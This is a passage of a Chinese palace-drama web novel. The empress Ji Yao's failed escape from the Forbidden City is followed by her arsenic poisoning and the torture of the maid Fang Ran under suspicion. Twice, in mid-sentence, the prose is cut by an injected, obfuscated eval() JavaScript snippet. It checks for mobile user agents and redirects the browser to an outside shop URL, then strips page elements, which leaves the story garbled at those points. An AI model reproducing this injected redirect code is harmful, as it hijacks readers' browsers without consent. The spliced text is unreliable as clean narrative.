“嗯,你说的在理。”夏绫想了片刻,又说,“但是也不能说因为这世上还有更悲惨的人,就没有悲伤的权力。每个人的人生都是不一样的,个中滋味,只有自己才能明白,不过都是可怜人罢了。” 这个话题,都是站在各自的立场上,谁也说服不了谁。 夏绫起身,去绞了湿帕子递给方苒擦脸:“苒苒,那你今日就不用再去上值了吧?” 方苒点了下头:“嗯,过会就该换尚仪局的人去看守了。不过待到明天这个时候,我大概还是要去的。尚宫局的人大都精明,这种事能躲则躲,反正我连打都挨了,也不能比这更差了吧。” 夏绫摇摇头笑了下。她这样的性子也挺好,骂过了就忘,倒是不记仇。 两三天后,北风乍起,在某日的后半夜,零零星星飘起了雪霰子来。 虽说已入了冬,但还未冷得能积下雪来,待到天亮,更是连雪都不成型了,雨点子细细密密的打落下来,成了冻雨。这样的天气,最是阴寒。 自纪瑶前日里闹过那一场之后,尚宫局和尚仪局无人再敢靠近永宁宫的主殿,转而都退到外门把守。但在这种天气里,无人愿为一个失了势的癫疯皇后尽什么心力,于是暂进了宫院两侧的配殿避雨,从窗格里远观着主殿的动静。 在殿内,纪瑶却已穿上了一身内侍的圆领袍。 这衣服,是她同夏绫一起淋过雨后,夏绫换下来放在这里的。纪瑶本是说,等洗好之后再送还给夏绫,但夏绫一直没想起来要,她也就一直搁置着没有送。但到如今,却刚好派上了用场。 徐婉将一只乌木牌和一把钥匙放在纪瑶手中,让她收好:“姑娘,奴婢给干杂役的那小子的吃食里下了药,他一时半会先醒不过来,您拿好这个,从小门那里出去吧。” 永宁宫的各处宫门虽都被封禁,但北墙上还有一道小门,是洒扫内侍运送秽物的出口。那道小门平日里都是锁着的,只有当值的内侍手中有钥匙,两局的人便只分了一名女史在此处看守。 但逢到今日这样的天气,只会有人远远盯着,能见到的也只是有内侍靠近那扇门,并无人会仔细盘查样貌。如此,是从永宁宫这铁桶中潜出去的天赐良机。 纪瑶紧紧握住手中的牌子与钥匙,临别时更觉难舍:“婉娘,如果我就这样走了,你留在这宫中又当如何自处呢?” “姑娘,这法子是咱们一起想出来的,奴婢会留在这里,尽量帮您多拖延些时间。既然已经决定了,就要往前看,莫要犹豫半分了。” 她捋了捋纪瑶额前的碎发,爱惜说道:“姑娘,奴婢也曾盼望过您能同皇上好好过日子,总觉得,日子久了总归都会认头的。但这么多年过去,奴婢看到的只有您越来越多的不开心,所以即便是这样的荒唐事,奴婢也愿意陪您拼一回,只盼您下半辈子能顺自己的心意。” 岁岁年年,徐婉是眼见着纪瑶从一个牙牙学语的小姑娘长成了如今这般样子,虽说是主仆,但在她心里,早已将纪瑶当成了自己的亲妹子。 纪瑶泪水盈睫,紧紧抱住了徐婉。徐婉也在她背上轻拍了拍,忍着难过推她一把:“姑娘,快走吧。” 徐婉帮着纪瑶从后窗中翻了出去,待到她的脚在殿外落了地,终是忍不住又喊了一声:“姑娘!” 两人隔了一道菱花窗,却好似之间隔了一条楚河汉界。 徐婉嘴角牵起一丝浅笑,用力挥了挥手道:“若是这回真能成事,就再也,再也不要回到这个地方来了。” 93. 雨叩宫门 寒雨如针。 纪瑶为了不引人注意,故意没有打伞,如冰似霜的冻雨顺着她并无遮蔽的脖颈落进领口,冷的彻骨。 她低着头,快步穿过□□走到小门边。门上斜斜挂着链锁,被雨水打过后湿漉漉,寒津津。 纪瑶屏住呼吸,从身上拿出钥匙推进锁眼。咔嗒一声,锁开了。 她闪身从小门出去,门外是空无一人的红墙夹道。 纪瑶片刻不敢耽搁,立刻往西行去。她此行是要过顺贞门,再到元武门,这是由内廷离开紫禁城的必经之路。但她太怕在西二长街上遇到人,于是故意往西先绕一段,过了寿安宫后再往东绕进御花园,如此便可到达顺贞门了。 往日在这条道路上往来的宫人不在少数,而今日这样阴寒的天气,为她提供了极好的掩护。纪瑶始终低着头小步疾走,不敢抬头,也不敢向后看,生怕会遇上旁的人,引起怀疑。 好在,一路上都没遇到什么人。 进了御花园后,纪瑶心中愈发急迫,忍不住在空无一人的雨中飞奔了起来。顺贞门就在眼前了。 这一道门里,锁住是整个内廷。就如它的名字,顺从与忠贞,是对生活在这道门里所有女子的警惕与训诫。 也正因为是内廷的最后一道关卡,在顺贞门门前有内侍在把守。即便是这样的天气,人数也没有减损半分。 纪瑶沉了沉气息,终是提步走上前去。 “什么人?” 门官见这一小内侍前来要过宫门,立刻拦住对方肃声盘问。 纪瑶低着头,双手将随身带着的乌木牌呈上去,托出早已在心中默念无数次的说辞。 “回公公,奴婢是乾清宫的杂役,是小乔公公吩咐奴婢出宫去取些东西回来,是要给万岁的御犬用的。因要得急,所以特命奴婢赶着出宫去取。” 乾清宫,小乔,御犬。这是最重要的三个词,既有威慑,又够真实,还蹭了几分夏绫往常出入宫门时同门官寒暄的人情。 听到是乾清宫的人,门官的面色果然和善了几分。他将纪瑶手中的牌子接过来,例行核查。 纪瑶低着头,紧张到连呼吸都快要停滞了。片晌,忽听上首传来问话:“你怎么不打伞?” 她胃中猛的抽搐了一下,仍强作镇定道:“因事发突然,奴婢没,没来得及。” “噢,办差辛苦。”门官淡淡笑了下,将牌子递还给纪瑶。 纪瑶双手将牌子接过,内心狂跳了起来。这一半是因为,她生怕自己会露馅的紧张,另一半是因为,她终于,将要跨过这道门了。 站在顺贞门前,她能看到近在咫尺的元武门。那是紫禁城的北大门,出了那道门,她便是彻彻底底的逃离了。 出元武门后,她会一路向南,先从宣武门出城去,而后到通州,走水路南下。虽然不知道路途究竟有几何远,但她知道,只要沿着运河一直向南走,就一定能到达南京。 纪瑶将牌子紧紧抓在手里,借以上面纹路硌进手中的疼痛,维持住自己的平静。 “多谢公公。”她小声道谢。 可这门官并没有让路。他略偏了头,同身边一同值守的同僚低声吩咐了句:“关门。” 两扇镶有八十一颗门钉的朱漆大门缓缓闭合起来,门缝越来越窄,原本触手可及的元武门,在一瞬间即又天涯两隔。 纪瑶双目骤睁。 “不要!”她嘶吼着扑了上去。都已经走到这一步了,就差这么一步啊,越过这道门,她就能回家了。 可随之而来的,只有内侍对她的重重阻拦。 挣扎之中,纪瑶的帽子落了地,头发散落下来,露了她的真身。她就在不知多少人的撕扯中,眼睁睁的看着那条门缝闭合,再也不见宫墙外的天空。 当她挣扎着扑到宫门前时,两道朱红色的宫门已如一堵墙般纹丝不动。 “开门,开门呐!” 纪瑶在雨中绝望的哭喊着,不住的拍打着宫门。可无论她如何用力,如何疯癫,即便拳头上砸的已经带了血,那道门依旧岿然不动。 “放我出去,放我,出去啊……” 她哭的泣不成声,身子抵着门慢慢向下滑去,跌坐在了雨中。 “娘娘。” 说话的是方才查验牌子的门官,他同在雨中跪到地上,拱手谢罪。 纪瑶赤红着双目质问道:“为什么……为什么啊?” 她究竟是在哪一步出了错。 门官低头答到:“回娘娘的话,皇上此前早已下了严令,乾清宫出入紫禁城的一应内侍,不得走顺贞门。若此间有人假借乾清宫名号欲由此出入……那必定同娘娘相关。” 皇上,哈哈,皇上。纪瑶无声惨笑,若论算计人心,谁能比得过他。 门官继续禀道:“皇上还说,奴婢们不得强将娘娘送回永宁宫。所以,还请娘娘自珍自重,若您想通了,便请回吧。” 可纪瑶只是颓然坐在门边,僵如木偶。她不想离开,这个距离自由最近的地方。 不知过了多久,一柄伞斜斜遮在了她的头顶。面前停住了一双云纹皂靴,黛青色的长衫末端,有银线勾勒的竹叶暗纹,针脚细密,容不得一丝错漏。 宁澈单手持着伞,弯身隔着衣料轻托起纪瑶的手肘:“起来。” 他这只手上,仍缠着白色的纱布,当日被发簪割破的伤口,尚未愈合。 四目相对,纪瑶看着面前这个令她熟悉又陌生,憎恨又畏惧的男人,忽而用力一挣将他的手甩开。 “别碰我。”她冷冷回绝,扶着朱门上的铜钉,缓缓站起了身,却又刻意向后退了一步,即便淋在雨中,也不愿同宁澈居于同一柄伞下。 “我刺伤了你的人,又抗了你的旨,你为什么不杀了我?” “答应你的事没有做到,总归是欠了你一个人情。”宁澈平静的说道,“纪瑶,这世上的事,不是简单的生或死就能解决的。我从来都不喜欢杀人,也没想过要你的命。” “可是我爹已经死了!”纪瑶猝然喝到,声音又开始渐渐呜咽起来,“宁澈,我欠你们家的么?如果不是你,我根本就不会来这个地方,如果我爹没娶那个女人,他根本就不会去贪墨。这一切的因果业障究竟是谁一手造成的?何必现在又来假惺惺的向我施恩?虚伪至极。” 宁澈的眼眸冷甚于这漫天寒雨,双唇也抿得更紧了些。 “纪瑶,不要再用上一辈人犯下的错误来惩罚你自己了。过往已不可谏,难道你要在上一辈的阴影中活一辈子吗?” “那你呢?你又挣脱出来了吗?”纪瑶反唇相讥道,“如果你已经放下了,为什么到现在都不肯去傅娘娘的坟前?又为什么将移陵的事一拖再拖?” 对方神色中闪过的伤痛和迷茫让她感受到了一种报复的快感:“宁澈,你知不知道宫里有段时间都在传,说傅娘娘是个疯女人,才不受册封,也不要儿子。可我见过傅娘娘,她根本就不疯,甚至是一个极其聪慧和理智的女子。你就不想知道,她究竟为什么要那么做么?” 宁澈握着伞的手骨节渐渐发白:“为什么。” “因为她恨你。”纪瑶冷酷又有些快意的说道,“她恨你们皇家人所做的一些,恨这座宫廷毁了她的一生,就像我现在这般一样。宁澈,你好好看看我现在的样子,你的亲娘,在你看不见的地方,在无数个只有她自己的深夜里,就是我这副人不人鬼不鬼的模样。” 宁澈下意识的摇了摇头:“不,你胡说。乔乔从来都没跟我说过,她会是你这个样子。” “那是因为夏绫在乎你,不愿意刺痛你,才没有对你说这些话。”他此刻的天真,甚至让纪瑶觉得有些好笑,“我唯一羡慕你的,就 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未几,自殿外进来一尚仪局的小女史,交手低头道:“娘娘有何吩咐?” “你是谁,婉娘呢?” 小女史回禀到:“陛下对婉姑姑有其他安排,今日之后,奴婢伺候娘娘。” 支撑纪瑶的最后一根细枝,应声折断。 她扣住小女史的双肩,用力晃动她道:“我求求你,帮我去求求皇上,让婉娘回来,好不好?” 小女史被这浑身透湿又哭到狰狞的女子吓住了,扑通一下跪下道:“娘娘恕罪。” 纪瑶无力的摔倒在了地上。没有了,云瞻,父亲,婉娘。这座宫廷,终是掠夺走了她的一切。 纪瑶就似一具空洞的躯壳,呆木的瘫坐在了无人迹的殿宇中,直至被从不缺席的夜晚吞没。 殿内又响起了脚步声,有人点起了一盏盏宫灯,让她眼前又浮现出了色彩。 “婉娘?”纪瑶颤然呼道。抬头,却见到来人是尚宫局的一个宫女,这人她认识,就在几天前,被她为难责打过。 方苒轻轻跪到纪瑶身边,将一碗热粥捧到她面前。 “娘娘,请吃些东西吧。” 在她的脖颈上,还有被抽打之后没有消退的红痕,未被领口完全遮蔽住。 纪瑶嘶哑着问:“你怎么还敢来,不恨我吗?” 方苒温声道:“奴婢职责所在,不曾记恨过娘娘。” 这还是被夏绫开导后,方苒想明白的事情。不是因为,这世上还有更悲惨的人,纪瑶就不可以悲伤。大家同为女子,皆知在宫中生活的不易,她对皇后,当是怜悯,而非怨恨。 “对不起啊。”纪瑶似是恢复了一些神志,“我那日,并非是想真的为难你,只不过因还抱着一丝妄念,想要再挣扎一番。” 方苒和善的笑了一下:“娘娘若是真觉得对不起奴婢,就请将这碗粥吃了,让奴婢的差事好做一些。” “那婉娘呢?你知道婉娘到哪里去了吗?” 方苒摇摇头:“这个,奴婢确实不知。” 纪瑶的目光再次黯淡了下来。 “这碗粥,你放在这里吧,我会吃的。” 方苒嗯声,将那碗粥放在纪瑶身边,行礼后退下。可就在她要走出永宁宫时,又听到皇后在背后喊了声:“这位姑娘。” 她滞住脚步:“娘娘还有要吩咐奴婢的事吗?” 纪瑶缓缓开口:“你认识,乾清宫的小乔内侍吗?” 方苒怔了一下,微点了头。 “那请你帮我给她带句话。”纪瑶脸上浮起一丝浅淡的笑,“我纪瑶此生,有幸结识于她,承蒙她多年的不离不弃,内心感激不尽。不过今后,请她安心,我已想清楚了自己的去路,不会再拖累任何人了。” 94. 忽忆往昔 因白日里沾了寒雨,又被纪瑶甩了那一下,宁澈手掌上的伤口到晚上又疼了起来。 以至于谭小澄为他更衣时,宁澈的手臂抬起来都有些困难。 太医特别叮嘱,他这伤一天至少要换两回药,但宁澈嫌太医院的人天天进出乾清宫太过扎眼,若引起前庭什么注意怕会不好收场,于是换将药的事都交给身边的内侍来做。 谭小澄为宁澈宽了腰间玉带,替他将燕居服脱下,又为他换上寝衣。此时离就寝还有段时间,故谭小澄又取来一件斗篷,搭在宁澈肩上。 “主子,奴婢伺候您换药吧。” 宁澈颔首,在榻上坐了,掌心朝上将手腕搭于小几之上。 “今日是谁当值?” 谭小澄答到:“是何掌印与奴婢。主子这几日身子上多有不便,掌印担心其他人伺候不周到,特命奴婢同他一起值守。” 宁澈嗯了一声表示知晓了,何敬与谭小澄,确实是他身边用的最称手的人。 谭小澄跪于榻脚边,从身后小金端着的漆盘中拿过一枚小金剪,将宁澈手上纱布的系口处剪开。在做此事时,谭小澄精神极为紧绷,皇上的御体鲜会受到如此伤害,即便是如何掌印跟随伺候多年的,也未曾亲手给主子包扎过伤口,他更是没有做过。事关御体安危,他需得格外谨慎。 洁白的纱布被一圈圈绕开,可及至贴近肌肤的地方,谭小澄却惊见,伤口竟又出了血,红了一片。 他额上登时起了一层薄汗,试探着揭了一下纱布,不想血迹干竭,将纱布与伤口粘在了一起,疼得宁澈嘶声呻吟了出来。 谭小澄心头一凛,双手跟着也抖了一下,谁知这伤口竟如此脆弱,一汩鲜血霎时涌了出来,是伤口又裂开了。 谭小澄吓坏了,自知做错了事,忙叩头请罪到:“奴婢罪该万死,请主子责罚!” 身后的小金也被吓到不轻,同他师傅一同跪在了地上,战战兢兢。 宁澈掌心钻心一样的疼,心绪烦乱的很,本想斥上两句,却忽闻一句熟悉的人声道:“我来吧。” “乔乔?”他见夏绫走了进来,不由得皱眉道,“不是说不用你过来了么,我不用你照看。” 夏绫没有答他的话,而是将小金手中盛着纱布和金疮药的托盘接过来,放到了小案上。她又同谭小澄道:“谭少监,您且先去吧,这里留我就行了。” 纵使已无先前那般熟络,谭小澄对于夏绫此刻的救场,还是心存感激的。他知道夏绫的话在皇上面前一贯奏效,没有再等皇上发话,谢过恩后便退了下去。 夏绫隔着小几坐到宁澈对面,看到他掌心的伤,眉心不由得拧了起来:“怎么总也不见好呢?” “冬天伤口本就会愈合的慢些。”宁澈宽慰她道,又提,“你不用操心我的事,要不是那天夜里值夜又被我发现,你是不是还打算熬几个大夜?” “嗐,你这个样子,让我去睡也睡不着。”夏绫从容答他,拿起托盘上的湿帕子擦拭宁澈手上的血迹,“看这段时间,你手底下的人过得都胆战心惊的。难为他们也就罢了,要手底下没个准头,疼的是你。” 她已着手要为宁澈去揭粘连的纱布,轻声道:“会有些疼,你忍一下。” 这样的话,底下伺候的人是万不敢说的。 手心猝然一阵针扎一样的疼痛,宁澈浑身都出了一层冷汗。再低头看时,他的伤口已暴露无遗。 他不死心的又找借口说:“你总是这个时候来,我又穿的衣冠不整的,保不齐会有嘴碎的传你闲话。” “传就传呗,我现在已经觉得无所谓了。”夏绫偏着头淡然一笑,“先头我怕人说闲话,是因为我什么都没有,同你走的太近,难免会让人猜测你是图我的什么,连我自己都找不到一个合适的待在这的理由。可现在我会养狗,会译书,旁的人都知道,你是要用我干活的。况且你这么难伺候,好多人巴不得把那些棘手的事给我来干,谢我都还来不及呢,哪还能上赶着给我添堵心。照这样来看,我要是哪天再做回宫女去,也不是不行。” 可宁澈总觉得,她是话里有话,仿佛在找时机,同内侍的这个身份告别。 “乔乔,你怎么了?” “阿澈,你别多想。”夏绫眉眼平和,“我只是觉得,当小乔的这段时日,让我的日子过得太有滋味了。可最近一段发生的事,却在提醒我,我不可能一直顶着一个假的身份活下去。我早晚还是要做回夏绫的,我还有属于夏绫的事需要做。” 她低头将金疮药的药粉撒在宁澈的伤口上。见他不说话,才又问:“听说你把徐婉姐发落走了?” 提起这事,宁澈的脸色不由得沉了三分。 “她实在太让我失望了。真不知她是怎么想的,真以为这宫禁大内是随随便便就可以混出去了吗?她是皇后身边最亲信的人,不想着如何安抚主子,反倒这样教唆皇后以身犯险。如此一来,尚宫尚仪两局的人心中更会生怨,若不处置她一番,要让两局的人将这笔账记在皇后头上么?” “身处无出之境,难免会做出些蚍蜉撼树,飞蛾扑火的事来,你就别生气了。”夏绫状似无意的替徐婉开脱了一句,又问,“那你把她如何处置了?” “还能怎么处置?反不能真拖出去打死。”宁澈没什么好气,“无非就是发落到直殿监去,让她干些粗活,吃点苦头。待过几日皇后冷静些了,会让她回来的。” 不知是真情还是假意,夏绫附和着说了句:“你想的周到。” 之后她便缄了口,仔细的将宁澈的伤处再用纱布包扎上,似是再无话可说。 宁澈心中一直装着事,纪瑶在雨中刺他的那几句话,始终沉甸甸的压在他心口。夏绫一不说话,他就更觉得压抑,从前在西五所,当他觉得夏绫在离他越来越远时,就是这样的感觉。 “乔乔,”他的气再沉不住,“你最近,怎么也不提迁坟的事了?” 夏绫诧异的抬头,这还是头一回,她听到宁澈主动提及这事。 “怎么,你倒希望我提?” “也不是。”宁澈否认道。他只是心里没底,夏绫心中到底在想什么。她越是不提这事,他就越摸不到她的底,就如同在黑夜中盲行,不知什么时候又会来一个当头棒击。 他生怕,自己还未做好任何准备,便真如纪瑶说的那样,已然失去她了。 “那我要是提了,你就给我办吗?” 宁澈抿着嘴不说话。 他这幅神情,让夏绫觉得有些好笑。小时候,他每回被傅薇训过之后,就是这样紧绷绷,硬邦邦的表情,一点都没变样。 她在宁澈眼前抓了一下,弯唇一乐。 “你看,这事也不是我天天跟个苍蝇一样在你耳边嗡嗡,你就能答应我的。要是再把你惹烦了,不仅我的目的达不到,还会让两个人都不高兴。”夏绫将纱布缠到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127432|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了最后,打了个干净利落的结,“不过我不提了呢,不代表我就认头了。阿澈,你不用总是试探我的想法,只要薇姨的灵柩一日没有封死在皇陵里,我就永远不会认头的。” “那如果封死了呢?你又作何打算?” 夏绫并没有思考太久,显然是早已想好了答案。 “离开宫廷吧。”她娓娓讲到,似是有些怅然,可又有些向往,“想往南边去走走,先回扬州看看,然后再往南走,带着她的遗物,去福建她出生的村子,给她设一座衣冠冢。之后找个喜欢的地方安顿下来,做些小生意,教小女孩们念念书。无事时就多写些东西,待到老了,一些传给年轻人,一些带到坟墓里。” 她对未来的期待里,没有他的影子。可是又该让她如何包容自己呢?两人之间,始终会隔着一道旧事,就像藏在衾被里的一根银针,看似无事,可不知什么时候露出尖头来,一样能将人刺的头破血流。 好像有什么东西在炙烤着宁澈的五脏六腑,让他的呼吸一寸寸变得灼烫。 “乔乔,”他有些犹疑的说,“今天,皇后同我讲,她不想要我,是因为她恨我,因为我毁了她的一生。是这样的吗?” 在傅薇去世后,每当宁澈再提起她时,很少会喊她娘,更多的时候,只会用“她”来替代。 夏绫一怔,她并不知道,纪瑶今日竟还同宁澈说过这样的话。 “阿澈,我觉得并不能用一个恨字来诠释她的情感。她对你,还有你的父亲,更多的像是……” 夏绫想了想,才找到一个相对恰当的词。 “无法相容。”她缓了缓道,“如果一个人揣着仇恨过一辈子,那他迟早会变得扭曲。可薇姨不是那样子的,她本意上并不想恨任何一个人,她只是不想做你父亲的妃嫔,也不想成为任何一个人的附属品。” “这座宫廷给过她希望,但也确确实实的,埋没了她的一生。不过阿澈,这也并不是你的错,毕竟你自己也无法决定是否要出生在这个世上。我只能说,她算不得对不起你,你也不能要求她因为是个母亲,就要无条件的为你牺牲掉一切。” 宁澈沉思良久,这是他这一生中,遇到的最难的一道难题。 他忽忆起些旧事。 那时他不及十岁之龄,是同母亲吵的最凶的一次。傅薇一怒之下打了他一巴掌,同他说,如果我有的选,我宁愿从未生下过你。 彼时他只顾得伤心,不明白为何明明是最亲近的人,却偏要恶语相向。 可如今再想起这句话,宁澈不由得多想了一层。那句话的重点,或许不在“宁愿从未生下过你”,而在于,她是“没得选的”。 所以那时的母亲都经历过什么呢?也许她还并未做好当一个母亲的准备,可无人敢帮她解决掉这个孩子,才被迫接纳一个陌生的生命进入她的人生。 若是不曾认识的女子遭此难事,他大概都会心生同情。可偏偏因为她是娘亲,却只想要她爱自己,抓住她不让她离开。 一阵风平地而起,吹过宁澈内心深处,他竟多生了一丝恻隐。 “乔乔,若是我……” 宁澈的话还没说完,却被匆匆进暖阁来的何敬打断了思绪。 何敬额间带汗,步履匆忙,他掌管内府第一署多年,还从未露出过如此惊惶的神色。 “主子,出事了。”何敬跪地急急禀道,“皇后娘娘中了毒,恐性命危矣!” 95. 何以清白 夏绫同宁澈以最快的速度赶到了永宁宫,宁澈甚至连衣服都没来得及换,只着了一件单薄中衣,外头搭了玄色的狐裘披风。 见宁澈进来,女史内侍皆跪了一地。已在此诊治的太医上前回禀道:“万岁,娘娘是误食了砒霜,好在发现的及时,臣已为娘娘催了吐。可服用的剂量毕竟不小,娘娘仍旧昏迷不醒,臣等定会竭尽全力救治!” 宁澈冷峻的目光落在了桌上未喝完的半碗粥上。那碗粥已被验过了,银匙发黑,正是罪魁祸首。 夏绫未再听宁澈同太医又说了些什么,越过人群,朝里间奔去。 纪瑶安静的平躺在床上,眉目舒展,面颊上苍白如纸,唯有唇边还有尚未拭净的血色,殷红妖冶。她的胸膛几乎已看不出喘息的起伏,气若游丝,奄奄一息。 夏绫身子一晃,几乎要站立不住。 “瑶瑶,瑶瑶……” 她脚步蹒跚的扑到纪瑶床前。 床榻周围已跪满了人。因太医无法贴身诊治宫妃,此时有两位司药司懂得医理的女官跪坐于床尾,将银针刺入纪瑶足底的穴位,以期能以疼痛唤醒她的意识。 夏绫握起纪瑶的手,喊她道:“瑶瑶,你醒一醒,你快点醒一醒啊!” 她的手寒凉的像是要拒人于千里之外。 夏绫眼前已被泪水模糊成一片,向两位施针的女官恳求道:“拜托你们,一定要救活她,拜托了!” 两位医女已累的大汗淋漓。她们并不知这突然出现的小内侍是何身份,可帝王家事,也无人敢过多探知,只当她是一位天子亲信之人。 自事发以来,此二人竭力救治,未曾有半分懈怠。她们将能用的法子全都用了,可床榻上的病人,始终未有分毫回应。 “奴婢们无能……已尽力而为了。” 周遭开始隐隐起了哭声。 夏绫脑子里一片空白,勃然喝道:“哭什么哭,人还没死呢!” 她起身侧坐于床榻上,从两侧钳住纪瑶的手臂,怒意丛生:“纪瑶,你不是说你要活着走出皇宫吗,你不是说要试试的吗?你给我听好了,要是你现在死了,没有人能把你带出去,你只能一个人被送进皇陵,等着你怨恨的男人百年之后与你同寝,生生世世你都别想逃脱!你听到我的话没有,醒过来,醒过来啊!” 夏绫的一滴泪水落在纪瑶的面颊上,缓缓滑落。 一丝回应也无。 * 夏绫与宁澈在永宁宫守了一个晚上。太医和医女在病榻前诊治施救了整夜,他们的声音窸窸窣窣,不敢高声语,却又神色凝重,夏绫听不清,也听不懂他们在说什么。 到了四更天,宁澈必须要走了,他早上还有朝议。临走之前,他又将太医传来:“现在是何境况,照实说。” 太医如实回答:“禀万岁,微臣已在娘娘的各处经脉施了针,延缓毒物再向脏腑蔓延,暂且保住了性命。可娘娘昏迷的程度太深,日后还需得靠娘娘自己将残余的毒物排出体外,至于何时能醒过来,恕微臣才疏学浅,无法预知了。” 太医说自己才疏学浅,不过是谦辞。这已然是太医院院史了,他若说了无救,任神仙圣手,又如何能救得回来。 宁澈看向自己身边双目红肿的夏绫,低声同她道:“我得走了,那你……” “我留在这。”夏绫立时答到。 “嗯。”他早知夏绫会如此做,“其他的事情我会去料理的,你不用操心。你也不要太过劳累了,如果有任何事,就让人来找我,好吗?” 夏绫点头。 为了方便留在永宁宫照顾纪瑶,夏绫换回了宫女的裙装。之前在这里见过她的医女,起初以为她是内侍时,对她多有戒备,而如今识得了她的女儿身,便很快接纳了她,几人轮流倒班,互相照应。 永宁宫已被六局接管,宁澈让人在其中挑出些做事踏实的女官,看顾殿内外的起居。 熬过先头一夜,纪瑶的情况已基本平稳下来,只待卧床静养,不知何时醒来,亦不知是否还能醒来。一切仿若又归于了平静,每个人都在自己的位置上,有条不紊的做着事情。 唯一有些变化的就是,人声太少,安静过了头。 入夜,夏绫坐在纪瑶身边,用温水为她擦拭身体。这样的事,从前她在照顾傅薇时也会经常做,所以十分熟稔。 打水进来的是个年轻女官,年龄与夏绫相似,眉目和善,看起来也是个踏实干练的姑娘。 女官将帕子在铜盆中浸过,绞干后递给夏绫,又将用过的帕子放入盆中仔细揉洗。替一个完全不能动的人擦拭全身是一件相当累人的事,夏绫坐在床边休息了一会,想了一想,今日当是尚宫局的人在殿中值守。 “你是尚宫局的吧?”她轻声闲问道。 年轻女官颔首,浅笑说:“是,奴婢是司簿司的掌簿,现居正七品。” “喔,真好。”夏绫点点头,这殿中人声太寂,她有心找人多说说话,漫漫长夜也不显得那么难捱。 “想必你平日里做事也是细致认真的,崔尚宫才肯放心派你过来。” 掌簿低头道:“姑娘过誉了。奴婢资质平平,只是能在做事时多尽心,心里才能踏实。” 这样的谦和让夏绫对她平添了几分好感,继续说道:“那你认识方苒吗?她现在也在尚宫局当差,是打算明年考女官的。你知道她会到永宁宫这里来上值吗?” 谁知一听方苒的名字,掌簿竟殊然变色,欲言又止。 夏绫意识到不对劲:“怎么了?” “夏姑娘,”掌簿面露忧色,“让皇后娘娘中了毒的那碗粥,就是方苒送进殿里来的。她已被司礼监带走问话,至今未归。” 夏绫仿若被人敲了一棒子,整个人都懵在了原地。 “怎么会?娘娘她难道不是……” 不是自己求死的吗? 夏绫强迫自己冷静下来。由于纪瑶曾同她言及过生死之事,自从事发,夏绫就先入为主的认定,是纪瑶自己服了毒。 可回顾整件事情,确实从来都没人说过,那碗粥里的砒霜究竟是从何处来的。夏绫也的确不能贸然下结论,是纪瑶给自己下的毒,不排除另有其人的可能。 但那个人绝对不会是方苒。 某个思绪忽而飞速一闪,夏绫周身的寒毛全都战栗了起来。 如果,没有查出下毒的凶手是谁,或者退一步讲,真的是纪瑶想要自尽,在皇后自戕与找一个籍籍无名的宫女做替罪羊之间,为了维护皇家的颜面,这件事会如何了结? 方苒的麻烦大了。这绝不是只被司礼监带去问话那么简单,这是要命的事啊! 想到这层,夏绫匆忙起身,急急同掌簿道:“劳你帮我照看一下这里,我要出去一趟!” 夏绫跑着出了永宁宫,刚拐到宫道里,影壁旁却突然闪出一人影,她没刹住脚,与那人撞了个满怀。 “小乔姐!” “小汤?” 汤圆一把拽住夏绫,带着哭腔道:“小乔姐,方苒姐被关起来了,你能不能救救她?” 她在这里已经等了一整天了,守门的不让她进去,看赶不走她,还扬言要宫正司的人来抓她。小汤没办法,只能蹲在这里守,好在终于把夏绫给盼出来了。 “对不起啊小汤,我刚刚才知道这事。”她抓着汤圆的手问道,“苒苒被带走多久了?” “一天一夜了。”汤圆忍不住哭到,“万岁主子是让何掌印和小澄哥一起审的这事,小澄哥本想着拖一拖,让掌印先不要用刑,可这件事实在太大了,他的能力有限,没办法只能送消息出来让我来寻你。小乔姐,方苒姐一定是被冤枉的,她不可能做出毒害皇后娘娘这种事!” 用刑。 夏绫胃里拧个一样疼了一下。司礼监的人同方苒非亲非故,不会对她手下留情的。已经过去了一天一夜,怕是方苒的命已让他们拿走一半了。 夏绫拽起小汤,提脚便跑:“走,我现在回乾清宫!” * 在仁智殿西北,有一处名为马房的处所,是内监奉旨拷打内犯之地。 暗室中,方苒手戴锁拷,趴伏于地板上,气息微浅。 笞,杖,拶指这些令人闻风丧胆的重刑,已在这有些瘦弱的姑娘身上过了一遍。囚衣上血迹斑斑,说她是脱了层皮,也毫不为过。 高窗之外的灯影晃动些许。方苒双肩一颤,这满身的新伤让她格外敏感,风声鹤唳。 是有人来了。 未几,禁室的门果然被打开,一双青色官靴停在了她面前。 方苒本能的一瑟缩,艰难的抬起头来,见司礼监掌印何敬,正负手俯视着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138832|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “掌印,掌印……”她喉中呜咽道,“奴婢是冤枉的……冤枉的!” 即便是已被伤口折磨到了极致,方苒仍是呼出了一声破音,以证自己的清白。 何敬嗤笑一声。 他搬来一张凳子,放倒后坐在方苒跟前:“你倒再同我说说,你如何是冤枉的?” 方苒极力回想着当日的情形:“奴婢那日送吃食进永宁宫,是因皇后娘娘方淋过雨,奴婢想着送些温补的吃食,为娘娘暖暖身子。娘娘看起来心绪不佳,但还是同奴婢寒暄了几句。之后奴婢放下吃食离开,娘娘还叫住奴婢,让奴婢给乾清宫的小乔内侍带句话,说是,说是……” 我已想清楚了自己的去路,不会再拖累任何人了。 方苒回想起这句话,当时未绝不妥,而如今再回忆起来,方咂摸出其中的蹊跷来。 “不对,不对……” 方苒的心绪乱如春絮,可渐渐的又汇聚成光点,让她的一瞬间清醒。 